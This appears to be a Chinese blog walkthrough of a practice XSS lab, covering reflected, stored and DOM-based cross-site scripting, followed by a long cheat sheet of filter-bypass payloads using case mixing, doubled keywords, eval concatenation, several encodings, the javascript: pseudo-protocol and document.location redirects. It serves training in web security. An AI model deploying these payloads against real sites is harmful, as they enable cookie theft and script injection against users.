赞
踩
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
xss触发方式
(1)在标签外:
<script>alert(1)</script>
(2)在标签内:
- 使用事件型:(先用引号闭合,看看是否有过滤如果有使用大小写试验)
-
- (1)12' οnclick='alert(1)
-
- 在<a>标签内不能使用<script>标签,使用<img>标签
-
- (2)123"><img src='1223' οnclick=alert(1)><"
标签内资源类型是url使用伪协议javascript:alert(1)
1、 受害者访问攻击者构造的页面
2、 将攻击者构造的payload发送到后端,然后由后端再返回给前端
输入个<script>alert(1)</script>试试。
发现输入框有长度限制。
此时有一条阳关道,有一根独木桥。
阳关道
阳关道是直接在地址栏插payload:
<script>alert(1)</script>
独木桥
独木桥是请出开发者工具,修改html代码中的输入框长度限制,然后在输入框中输入payload并提交。之所以叫独木桥就是因为每输入一个payload之前都要改一次输入框长度限制。。。
首先在输入框 鼠标右键--检查 弹出开发者工具
改大上图中的maxlength,比如改成100:
1、 受害者访问攻击者构造的页面
2、 将攻击者构造的payload发送到后端,然后由后端再返回给前端
登录admin账号之后,和上一关差不多。。而且这关的输入框还没有长度限制
<script>alert(1)</script>
将攻击者构造的恶意代码,存储到数据库中,并且在网站页面上自动执行代码。
它是一个留言板,来玩玩
输入payload:<script>alert("交出你的cookie");alert(document.cookie)</script>
提交之后首先弹出下图,对应payload中的 alert("交出你的cookie")
点 确定 之后又弹出下图,对应payload中的 alert(document.cookie)
点 确定 之后就变成下图这样了,虽然留言内容显示不出来,但是对比一开始进来的时候可以看到多了个“删除”,说明确实多了一条留言
右键--查看网页源代码 的话,可以看到payload在html代码中是原封不动的。。
需要用户点击
数据不到后端,直接由前端js进行处理
一个输入框,先输入个<script>alert(1)</script>试试。
没有弹框,回显了一个链接名曰“what do you see?”
鼠标右键--查看网页源代码,Ctrl+F弹出搜索框,输入what do you see看看
找到了一段js代码,寻找DOM XSS的本质是做js语言阅读理解题。。
假装看不到注释的提示(/▽\)这段js代码的意思是会把用户提交的内容输出到<a>标签中,这样的话,就需要闭合标签和引号
123456' onclick='alert(1)
- 在<a>标签内不能使用<script>标签,使用<img>标签
-
- '><img src=1 οnerrοr='alert(`xss`)
在输入框中输了个“吃瓜”,提交之后发现吃瓜群众跑到url里面去了(这就是和上一关的不同),然后多出来个链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”
既然还是DOM型,就 鼠标右键 -- 查看网页源代码
假装看不到提示(还有注意下图这个alert(xss)是注释掉的。。我还研究了半天这句放在这儿干嘛 ╯︿╰)
这题跟第4题没啥差别,就是比第4题更容易利用而已
注意下图中高亮的那行,本关输入payload之后需要点击链接“有些费尽心机想要忘记的事情,后来真的就忘掉了”才能触发domxss()函数,从而触发XSS
输入第4关的payload:'><img src=1 onerror=alert("xss");>
题外话:
由于本关payload在url中,因此比上一关好利用很多
<script>alert(1)</script>
提交之后发现输入的东西完全不显示在页面上,去哪儿了呢?
查看网页源代码之后,发现本关的输入是以POST方法提交的,但是form标签里没有action属性,也不知道表单数据被提交到哪里去了呀。。。
点一下提示,原来要登录后台才能迎接攻击啊
随便输入一些内容,提交之后发现页面有回显输入的内容,url中也有输入的内容,离开本页面再回来,页面就没有这个内容了,说明是反射型GET型XSS
可以把这些一个个输入提交试试,也可以一起提交,然后就发现了好玩的情况,如果单独输入"<>'on/`()则什么都没有被过滤,如果输入了"<>'on/`() script img href src,则<>'on/`() script被删掉了,这说明什么问题?这说明过滤语句超可能是<.*script
那就不要用<script>标签了,用<img>标签试试,输入payload:<img src=1 onerror=alert("xss");>
当然还有别的绕过方法:
大小写绕过<sCript>alert(1)</scRipt>
- 过滤空格
- 用/代替空格
- <img/src="x"/onerror=alert("xss");>
-
- 过滤关键字
-
- 大小写绕过
- <ImG sRc=x onerRor=alert("xss");>
-
- 双写关键字
- 有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
- <imimgg srsrcc=x onerror=alert("xss");>
-
- 字符拼接
- 利用eval
- <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
-
- 利用top
- <script>top["al"+"ert"](`xss`);</script>
-
- 其它字符混淆
- 有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
- 下面举几个简单的例子
-
- 可利用注释、标签的优先级等
- 1.<<script>alert("xss");//<</script>
-
- 2.<title><img src=</title>><img src=x onerror="alert(`xss`);"> //因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
- 3.<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>
- 编码绕过
- Unicode编码绕过
- <img src="x" onerror="alert("xss");">
- <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
- url编码绕过
- <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
- <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
- Ascii码绕过
- <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
- hex绕过
- <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
- 八进制
- <img src=x onerror=alert('\170\163\163')>
- base64绕过
- <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
- <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
- 过滤双引号,单引号
- 1.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
- <img src="x" onerror=alert(`xss`);>
- 2.使用编码绕过,具体看上面列举的例子,不多赘述了
- 过滤括号
- 当括号被过滤的时候可以使用throw来绕过
- <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
- 过滤url地址
- 使用url编码
- <img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
- 使用IP
- 1.十进制IP
- <img src="x" onerror=document.location=`http://2130706433/`>
- 2.八进制IP
- <img src="x" onerror=document.location=`http://0177.0.0.01/`>
- 3.hex
- <img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>
- 4.html标签中用//可以代替http://
- <img src="x" onerror=document.location=`//www.baidu.com`>
- htmlspecialchars转义特殊字符
-
- &:转换为&
-
- ":转换为"
-
- ':转换为成为 '
-
- <:转换为<
-
- >:转换为>
javascript伪协议
伪协议说明:
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
①将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。
这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。这样的URL如下所示:
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;
- javascript伪协议可以在HTML链接中触发代码的执行
-
- <a>标签
- <a href="javascript:alert(`xss`);">xss</a>
-
- <iframe>标签
- <iframe src=javascript:alert('xss');></iframe>
-
- <img>标签
- <img src=javascript:alert('xss')>//IE7以下
-
- <form>标签
- <form action="Javascript:alert(1)"><input type=submit>
使用伪协议javascript:alert(1)
根据提示输入网站url
- <a> 标签的 href 属性用于指定超链接目标的 URL。
-
- href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。
所以 可以利用JavaScript协议。输入payload:javascript:alert(1)
还是输入<script>alert(1)</script>试试,果不其然没有弹框
鼠标右键--查看网页源代码,刚刚输入的东西跑到<script>标签内了,并且没有被编码
这就很easy了,只要无中生有出一个js语句就好了,怎么生呢首先要用';闭合掉当前的语句,然后插入新语句,然后再用//注释掉老语句遗留下来的';
输入payload:';alert(1);//
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。